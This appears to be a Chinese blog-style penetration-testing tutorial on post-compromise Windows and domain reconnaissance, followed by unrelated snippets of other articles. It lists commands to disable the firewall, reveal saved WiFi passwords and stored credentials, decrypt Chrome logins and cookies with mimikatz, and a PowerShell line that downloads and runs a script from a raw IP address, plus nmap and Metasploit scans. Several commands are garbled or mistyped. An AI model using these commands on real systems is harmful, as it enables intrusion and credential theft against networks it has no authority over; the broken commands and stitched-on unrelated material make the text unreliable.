Windows主机信息收集

一、内网环境分析

1、什么是内网渗透

内网渗透:

①在拿到webshell的时候,想办法获得系统信息拿到系统权限,进入到网络系统内部之后收集内部

网络的各种信息,获取内部网络有价值的人员、资产信息。

内网渗透的第一步,内网信息收集。

2、内网基础环境分析

①内网基础环境判断

IP、网关、DNS、是否能连通外网、网络连接及端口、本机host文件、机器的代理、是否在域内,

域名是什么

②分析机器所处位置区域

DMZ区(隔离区,内外网连接)、办公区、生产区、核心DB等等

③分析机器的角色

普通WEB服务器、开发服务器  、文件服务器、、代理服务器、DNS服务器、数据存储服务器等等

(判断是什么服务,存在何种关键信息)

④分析进出口流量是否能连通

协议的判断:常见的TCP、DNS、HTTP、ICMP等协议端口判断:外网vps做监听,内网机器测试常

见端口,常见能出去的端口有80,8080,443,53,110,123等。

判断示例:

3、工作组简介

工作组(Work Group):是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入

不同的组中以方便管理。

①默认情况下所有计算机都处在名为WORKGROUP的工作组中

②工作组资源管理模式适合于网络中计算机不多,对管理要求不严格的情况。

③它的建立步骤简单,使用起来也很好上手。大部分中小公司都采取工作组的方式对资源进行权限

分配和目录共享

④相同组中的不同用户通过对方主机的用户名和密码可以査看对方共享的文件夹,默认共享的是

Users 目录。

⑤不同组的不同用户通过对方主机的用户名和密码也可以査看对方共享的文件夹。

⑥所以工作组并不存在真正的集中管理作用,工作组里的所有计算机都是对等的,也就是没有服务器

和客户机之分的。

右键此电脑——属性——域或工作组(机器加入域)

启用网络发现才能发现在同一个组中的机器(访问前提:知道用户名密码)

4、本机信息收集

操作系统、权限、内网IP地址段、杀软、端口、服务、补丁情况、网络环境情况、共享、会话等如

果是域内主机(域控,采用域一般是主机很多),那么操作系统、应用软件、补丁、服务、杀软一

般都是批量安装的。

5、内网网段信息收集

只有找到不同网段才能进行纵向渗透,否则只能横向渗透(10网段)

①内网网段扫描

②文件共享、FTP连接记录、浏览器访问记录、mstsc(远程桌面)连接记录

③渗透路由器、交换机

6、用户信息

①net user 

②net localgroup administrators

③quser     query user     query user || qwinsta(家庭版无此命令,不要纠结)

④whoami/all

⑤whoami&&whoami/priv

⑥net localgroup

以下为解释:

7、系统信息

查询网络配置信息。进行IP地址段信息收集

①ipconfig/all

在域当中需着重注意DNS服务器,域控ip

查询操作系统及款件信息

②systeminfo|findstr /B /C:" OS Name" /C:"OS Version"  //英文系统

systeminfo|findstr /B /C:" OS 名称" /C:"OS 版本"  //中文系统

查看当前系统版本

③wmic OS get Caption,CSDVersion,OSArchitecture,Version

查看系统体系结构

④echo %PROCESSOR_ARCHITECTURE%

查询本机服务信息

⑤wmic service list brief

查看安装的软件的版本、路径等

⑥wmic product get name, version

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"

查询进程信息

⑦tasklist

wmic process list brief

查看启动程序信息(自启 动)

⑧wmic startup get command,caption

查看计划任务(闹钟)

⑨at(windows10之前)

schtasks /query /fo LIST /v(win10)

查看主机开机时间

①net statustics workstation

列出或断开本地计算机与所连接的客户端的对话

②net session

查询端口列表,本机开放的端口所对应的服务和应用程序

③netstat -ano/-tnlp    常用 netstat -ano | findstr 端口

查看远程连接信息(用户访问凭据)

④cmdkey /L

查石补丁列表

⑤systeminfo | findstr KB

查看补丁的名称、描述、ID、安装时间等

⑥wmic qfe get Caption,Description,HotFixlD,InstalledOn

查看杀软

⑦WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName/Format:List

查看本地密码策略

⑧net accounts

查看hosts文件:

⑨Linux: cat /etc/hosts

Windows: type c:\Windows\system32\drivers\etc\hosts

查看dns缓存

⑩ipconfig /displaydns

查看本机所有的tcp,udp端口连接及其对应的pid

①netstat -ano

查看本机所有的tcp,udp端口连接,pid及其对应的发起程序

②netstat -anob

查看路由表和arp缓存

③route print
arp -a

8、网络信息

查看本机共享列表和可访问的域共享列表(445端口)

①net share
wmic share get name,path,status

磁盘映射

net use k:\\192.168.1.10\c$

远程主机c盘映射到本地主机E盘(未被占用盘)

9、防火墙信息

①关闭防火墙(Windows Server 2003 以前的版本)netsh firewall set opmode disable

②关闭防火墙(Windows Server 2003 以后的版本)netsh advfirewall set allprofiles state off

③查看防火墙配置(netsh命令也可以用作端口转发)netsh firewall show config

④查看配置规则netsh advfirewall firewall show rule name=all

10、代理信息

①REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer

通过pac文件自动代理情况

②REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL

11、wifi密码

netsh wlan show profile
netsh wlan show profile name="HUAWEI-MINGY" key=clear

12、回收站内容获取

FOR /F "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:$Recycle.Bin\%d\^>%c.txt

$I开头的文件保存的是路径信息

$R 开头的文件保存的是文件内容

目录路径在 C:\$Recycle.Bin

13、Chorme历史记录和Cookie获取

%localappdata%google\chrome\USERDA~1\default\LOGlND~1

%ocalappdata%google\chrome\USERDA~1\default\cookies

chrome的用户信息,保存在本地文件为sqlite 数据库格式

mimikatz.exe privilege::debug log "dpapi::chrome

/in:%ocalappdata%\google\chrome\USERDA~1\default\LOGIND~1" exit
mimikatz.exe privilege:debug log "dpapi:chrome

需要mimikatz软件

/in:%ocalappdata%google\chrome\USERDA~1\defaultcookies /unprotect" exit

14、Powershell

FTP访问、共享连接、putty连接、驱动、应用程序、hosts 文件、进程、无线网络记录

powershell iex(new-object net.webclient),downloadstring(http://47,104.255.11:8000/Get-Information.ps1'”;GetInformation

15、msf信息收集

①run scraper
/root/.msf4/logs/scripts/scraper

②run winenum
/root/.msf4/logs/scripts/winenum

域用户免密码登录域控

不知道命令可以查看帮助信息或者百度(大部分可解决)

二、域内信息收集

1、域简介

①域(domain):域是一个有安全边界的计算机集合

②安全边界:在两个域中,一个域中的用户无法访问另一个域中的资源)

③将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,

域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的

用户帐号和安全数据库(批量)。(工作组只适合小规模)

④域成员计算机在登录的时候可以选择登录到域中或此计算机。

⑤登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的

⑥登陆到此计算机时,是通过SAM(存储在计算机本地上的文件)来进行NTLM验证的。

⑦默认情况下,域用户可以登录到域中所有的工作站,不包括域控制器,管理员也可以指定具体的

计算机,域用户信息保存在活动目录中。

域控:DCDomain Control)(拿域控的一个权限)

a、在域架构中域控是用来管理所有客户端的服务器,它负责每一台联入的电脑和用户的验证工

作,域内电脑如果想互相访问首先都得经过它的审核。

b、域控是域架构的核心,每个域控制器上都包含了AD活动目录数据库。一个域中可能要有至少两

个域控。一个作为DC,一个是备份DC

⑨活动目录:AD(Active Directory)

a、域环境中提供目录服务的组件;

b、在活动目录中,所有的网络对象信息以一种结构化的数据存储方式来保存;

c、活动目录存储着有关网络对象的信息,如用户、组、计算机、共享资源、打印机和联系人等

d、安装有AD活动目录的服务器就是域控DC

用户可以通过AD活动目录定位到内网中的资源位置。

⑩活动目录主要功能:

a、帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。

b、软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。

c、环境集中管理;利用AD可以统一客户兴察面,IE,TCP/IP等设置。

d、增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。

e、更可靠:更少的宕机时间,如:利用AD控制用户访问权限,利用群集、负均衡等技术对文件展进行容灾设定,更可靠,宕机时间更少。

活动目录为Microsoft统一管理的基础平台,其它ISA、Exchange、Ms 等服务都依赖于这个基础平台。

①DNS域名服务器:

a、域控服务器要求DNS服务器按名称查找计算机、成员服务器和网络服务。

b、域名解析:DNS服务器通过其A记录将域名解析成IP地址

c、定位活动目录服务:客户机通过DNS服务器上的 SRV服务记录定位提供基一个服务的计算机

2、登录域的方法

①域名\用户名(Adinistrator) 密码(前提;有域)和登录到主机时不同的

②忘了 

3、Net组件

①查询域       net view  /domain

②查询域    内的所有计算机        net view /domain:查询出的域名

③查询域内所有用户组(Enterprise Admins组权限最大)      net group /domain

④查看域管理员的用户组         net group "domain admins" /domain

⑤查看域内所有账号    net user /domain

⑥查询指定用户的详情信息    net user xxx /domain

⑦查看时间可以找到域控      net time /domain

⑧查询所有域成员计算机列表net group "domain computers" /domain

⑨查询城系统管理员用户姐net group "Énterprise admins" /domain

⑩查看域控制器net group "domain controllers"  /domain

①对比查看"工作站城DNS名称(域名)“和“登录城0域控制器”的信息是否相匹配

net config workstation

②查看域密码策略net accounts /domain

③查看当前登录域net config workstation

④登录本机的域管理员net localgroup administrators /domain

dns端口判断域控服务器

三、内网存活探测

Netbios协议探测

①nmap扫描

nmap sU -T4 -script nbstat.nse -p137 10.10.10.0/24

②msf扫描

msf>use auxiliary/scanner/netbios/nbname

一、内网环境分析

1、什么是内网渗透

2、内网基础环境分析

3、工作组简介

4、本机信息收集

5、内网网段信息收集

6、用户信息

7、系统信息

8、网络信息

9、防火墙信息

10、代理信息

11、wifi密码

12、回收站内容获取

13、Chorme历史记录和Cookie获取

14、Powershell

15、msf信息收集

二、域内信息收集

1、域简介

2、登录域的方法

3、Net组件

三、内网存活探测



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/676975.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Java | Leetcode Java题解之第129题求根节点到叶节点数字之和

题目&#xff1a; 题解&#xff1a; class Solution {public int sumNumbers(TreeNode root) {if (root null) {return 0;}int sum 0;Queue<TreeNode> nodeQueue new LinkedList<TreeNode>();Queue<Integer> numQueue new LinkedList<Integer>();…

事务详讲(本地及分布式)

本地事务在分布式的问题: 因为在分布式服务中,难免一个接口中会有很多调用远程服务的情况,这个就非常容易出现问题,以下是一个详细的例子: 例如,你为了保证事物的一致性等要求,所以,你方法上只写了Transactional,但你的业务中又需要调用其他微服务的方法(Feign),这时就容易出现…

剧本杀市场仍在快速发展,剧本杀小程序成为了新的机遇

近年来&#xff0c;剧本杀一直是年轻人的娱乐游戏方式之一&#xff0c;剧本杀行业呈现出了井喷式发展的形势&#xff0c;成为了当下爆火的娱乐方式。目前&#xff0c;剧本杀行业拥有了完善的剧本资源和呈现方式&#xff0c;发展前景非常大。 根据当下的数据显示&#xff0c;剧…

04-树6 Complete Binary Search Tree(浙大数据结构PTA习题)

04-树6 Complete Binary Search Tree 分数 30 作者 陈越 单位 浙江大学 Question: A Binary Search Tree (BST) is recursively defined as a binary tree which has the following properties: The left subtree of a node contains only nodes with …

Google 解释AI 概览:关于上周的一些情况

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

c++与c

命名空间的设置&#xff1a; 避免冲突 命名空间&#xff1a; 如果将变量全部定义在全局可能不安全&#xff0c;都可以进行修改。 如果将变量定义在局部&#xff0c;当出了大括号就不能使用。 所以说在定义一个命名空间的时候 定义函数&#xff0c;变量&#xff0c;命名空间…

菜刀冰蝎哥斯拉流量通讯特征绕过检测反制感知

1.加密流程 工具名称requestsresponseAntSwordbase64等方式明文冰蝎2.0开启Openssl扩展-动态密钥aes加密aes加密base64未开启Openssl扩展-异或异或base64冰蝎3.0开启Openssl扩展-静态密钥aes加密aes加密base64未开启Openssl扩展-异或异或base64哥斯拉php的为base64异或base64异…

【智能算法】花斑翠鸟优化算法(PKO)原理及实现

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献5.代码获取 1.背景 2024年&#xff0c;A Bouaouda受到自然界中花斑翠鸟社会行为启发&#xff0c;提出了花斑翠鸟优化算法&#xff08;Pied Kingfisher Optimizer, PKO&#xff09;。 2.算法原理 2.1算法思想…

1103. 分糖果 II Rust等差求和+一元二次方程求根(击败100% Rust用户)

题目内容 排排坐&#xff0c;分糖果。 我们买了一些糖果 candies&#xff0c;打算把它们分给排好队的 n num_people 个小朋友。 给第一个小朋友 1 颗糖果&#xff0c;第二个小朋友 2 颗&#xff0c;依此类推&#xff0c;直到给最后一个小朋友 n 颗糖果。 然后&#xff0c;…

Redis缓存(笔记二:Redis常用五大数据类型)

目录 1、Redis中String字符串 1.1 常用命令解释&#xff1a; 1.2 原子性 1.3 具有原子性的常用命令 1.4 String数据结构 1、Redis中String字符串 概念 String 是 Redis 最基本的类型&#xff0c;可以理解成与 Memcached 一模一样的类型&#xff0c;一个 key对应一个 value…

STL容器--list

1. list的介绍及使用 1.1 list的介绍 1. list是可以在常数范围内在任意位置进行插入和删除的序列式容器&#xff0c;并且该容器可以前后双向迭代。 2. list的底层是双向链表结构&#xff0c;双向链表中每个元素存储在互不相关的独立节点中&#xff0c;在节点中通过指针指其前…

2.3 OpenCV随手简记(四)

阈值处理是很多高级算法底层处理的预方法之一。 自己求图像平均阈值&#xff1a; # -*- codingGBK -*- import cv2 as cv import numpy as np #求出图像均值作为阈值来二值化 def custom_image(image): gray cv.cvtColor(image, cv.COLOR_BGR2GRAY) cv.imshow("原来&qu…

微服务网关Gateway(下)

CSDN 的小伙伴们&#xff0c;大家好呀&#xff0c;我是苍何。 这篇文章我们继续来说下我们项目中用到的微服务网关 Gateway 的技术点。主要涵盖过滤器&#xff0c;限流处理以及黑白名单配置。 过滤器 网关中的过滤器&#xff0c;有点类似 SpringMVC 里面的拦截器 Intercepto…

面试官:什么是Redis持久化—>AOF持久化

&#x1f604;作者简介&#xff1a; 小曾同学.com,一个致力于测试开发的博主⛽️&#xff0c;主要职责&#xff1a;测试开发、CI/CD 如果文章知识点有错误的地方&#xff0c;还请大家指正&#xff0c;让我们一起学习&#xff0c;一起进步。 &#x1f60a; 座右铭&#xff1a;不…

Python | Leetcode Python题解之第130题被围绕的区域

题目&#xff1a; 题解&#xff1a; class Solution:def solve(self, board: List[List[str]]) -> None:if not board:returnn, m len(board), len(board[0])que collections.deque()for i in range(n):if board[i][0] "O":que.append((i, 0))board[i][0] &q…

C语言 | Leetcode C语言题解之第129题求根节点到叶节点数字之和

题目&#xff1a; 题解&#xff1a; int sumNumbers(struct TreeNode* root) {if (root NULL) {return 0;}int sum 0;struct TreeNode* nodeQueue[2000];int numQueue[2000];int leftQueue 0, rightQueue 0;nodeQueue[rightQueue] root;numQueue[rightQueue] root->v…

MPEG-TS 封装格式详解

MPEG-TS 封装格式详解 MPEG-TS 封装格式详解简介基本概念TS 文件格式PSI&#xff08;Program Specific Information&#xff09;节目关联表&#xff08;PAT&#xff0c;Program Association Table&#xff09;节目映射表&#xff08;PMT&#xff0c;Program Map Table&#xff…

探索k8s集群的配置资源(secret和configmap)

目录 ConfigMap ConfigMap&#xff08;主要是将配置目录或者文件挂载到k8s里面使用&#xff09; 与Secret类似&#xff0c;区别在于ConfigMap保存的是不需要加密配置的信息。&#xff08;例如&#xff1a;配置文件&#xff09; ConfigMap 功能在 Kubernetes1.2 版本中引入&…

算法 java 排序和查找

排序和查找 冒泡排序&#xff08;稳定&#xff09;选择排序&#xff08;不稳定&#xff09;插入排序&#xff08;稳定&#xff09;希尔排序&#xff08;不稳定&#xff09;归并排序&#xff08;稳定&#xff09;快速排序&#xff08;不稳定&#xff09;堆排序计数排序桶排序基数…

Scikit-Learn随机森林分类

Scikit-Learn随机森林分类 1、随机森林分类1.1、随机森林分类概述1.2、随机森林分类的优缺点2、Scikit-Learn随机森林分类2.1、Scikit-Learn随机森林分类API2.2、Scikit-Learn随机森林分类初体验(葡萄酒分类)2.3、Scikit-Learn随机森林分类实践(鸢尾花分类)2.4、参数调优与…